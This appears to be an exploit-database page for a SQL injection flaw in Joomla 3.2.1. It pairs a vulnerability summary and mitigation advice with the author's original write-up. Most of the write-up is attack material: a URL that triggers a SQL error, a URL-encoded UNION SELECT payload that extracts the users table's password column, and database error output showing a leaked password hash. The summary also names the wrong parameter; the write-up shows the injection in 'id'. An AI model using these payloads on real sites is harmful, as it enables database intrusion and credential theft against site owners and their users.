Joomla 3.2.1 sql injection

vendor:

Joomla

by:

kiall-9@mail.com

7,5

CVSS

HIGH

SQL Injection

CWE

Product Name: Joomla

Affected Version From: 3.2.1

Affected Version To: 3.2.1

Patch Exists: NO

Related CWE: N/A

CPE: a:joomla:joomla:3.2.1

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: Virtualbox (debian) + apache

2014

A SQL injection vulnerability exists in Joomla 3.2.1 due to improper sanitization of user-supplied input. An attacker can exploit this vulnerability to execute arbitrary SQL commands in the application's database, allowing them to access or modify sensitive data. The vulnerability is present in the 'weblinks-categories' parameter of the 'index.php' script. An attacker can exploit this vulnerability by sending a specially crafted HTTP request containing malicious SQL statements to the vulnerable application.

Mitigation:

Input validation should be used to ensure that user-supplied input is properly sanitized. Additionally, the application should be configured to use parameterized queries to prevent SQL injection attacks.

Source

Exploit-DB raw data:

# Exploit Title: Joomla 3.2.1 sql injection
# Date: 05/02/2014
# Exploit Author: kiall-9@mail.com
# Vendor Homepage: http://www.joomla.org/
# Software Link: http://joomlacode.org/gf/download/frsrelease/19007/134333/Joomla_3.2.1-Stable-Full_Package.zip
# Version: 3.2.1 (default installation with Test sample data)
# Tested on: Virtualbox (debian) + apache
POC=>
http://localhost/Joomla_3.2.1/index.php/weblinks-categories?id=\

will cause an error:

1064 You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '\)' at line 3 SQL=SELECT `t`.`id` FROM `k59cv_tags` AS t INNER JOIN `k59cv_contentitem_tag_map` AS m ON `m`.`tag_id` = `t`.`id` AND `m`.`type_alias` = 'com_weblinks.categories' AND `m`.`content_item_id` IN ( \) Array ( [type] => 8 [message] => Undefined offset: 0 [file] => /var/www/Joomla_3.2.1/libraries/joomla/filter/input.php [line] => 203 )

I modified the original error.php file with this code --- <?php print_r(error_get_last()); ?> --- in order to obtain something useful. ;-)

Now i can easily exploit this flaw:

http://localhost/Joomla_3.2.1/index.php/weblinks-categories?id=0%20%29%20union%20select%20password%20from%20%60k59cv_users%60%20--%20%29
and obtain the hash:

1054 Unknown column '$P$D8wDjZpDIF4cEn41o0b4XW5CUrkCOZ1' in 'where clause' SQL=SELECT `m`.`tag_id`,`m`.`core_content_id`,`m`.`content_item_id`,`m`.`type_alias`,COUNT( `tag_id`) AS `count`,`t`.`access`,`t`.`id`,`ct`.`router`,`cc`.`core_title`,`cc`.`core_alias`,`cc`.`core_catid`,`cc`.`core_language` FROM `k59cv_contentitem_tag_map` AS `m` INNER JOIN `k59cv_tags` AS `t` ON m.tag_id = t.id INNER JOIN `k59cv_ucm_content` AS `cc` ON m.core_content_id = cc.core_content_id INNER JOIN `k59cv_content_types` AS `ct` ON m.type_alias = ct.type_alias WHERE `m`.`tag_id` IN ($P$D8wDjZpDIF4cEn41o0b4XW5CUrkCOZ1) AND t.access IN (1,1) AND (`m`.`content_item_id` <> 0 ) union select password from `k59cv_users` -- ) OR `m`.`type_alias` <> 'com_weblinks.categories') AND `cc`.`core_state` = 1 GROUP BY `m`.`core_content_id` ORDER BY `count` DESC LIMIT 0, 5

CheerZ>